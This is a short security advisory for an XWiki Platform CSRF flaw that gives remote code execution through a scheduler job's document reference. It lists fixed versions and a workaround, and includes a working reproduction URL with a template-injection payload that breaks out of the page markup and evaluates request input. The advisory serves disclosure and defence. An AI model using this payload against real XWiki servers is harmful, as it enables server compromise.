XWiki Platform CSRF remote code execution through scheduler job's document reference

Impact

By creating a document with a special crafted documented reference and an XWiki.SchedulerJobClass XObject, it is possible to execute arbitrary code on the server whenever an admin visits the scheduler page or the scheduler page is referenced, e.g., via an image in a comment on a page in the wiki.

To reproduce on an XWiki installation, click on this link to create a new document : <xwiki-host>/xwiki/bin/view/%22%3E%5D%5D%7B%7B%2Fhtml%7D%7D%7B%7Basync%20context%3D%22request/parameters%22%7D%7D%7B%7Bvelocity%7D%7D%23evaluate%28%24request/eval%29/.
Then, add to this document an object of type XWiki.SchedulerJobClass.
Finally, as an admin, go to <xwiki-host>/xwiki/bin/view/Scheduler/?eval=$services.logging.getLogger(%22attacker%22).error(%22Hello%20from%20URL%20Parameter!%20I%20got%20programming:%20$services.security.authorization.hasAccess(%27programming%27)%22).
If the logs contain ERROR attacker - Hello from URL Parameter! I got programming: true, the installation is vulnerable.

Patches

The vulnerability has been fixed on XWiki 14.10.19, 15.5.5, and 15.9.

Workarounds

Modify the Scheduler.WebHome page following this patch.

References

• https://jira.xwiki.org/browse/XWIKI-21416
• https://github.com/xwiki/xwiki-platform/commit/f16ca4ef1513f84ce2e685d4a05d689bd3a2ab4c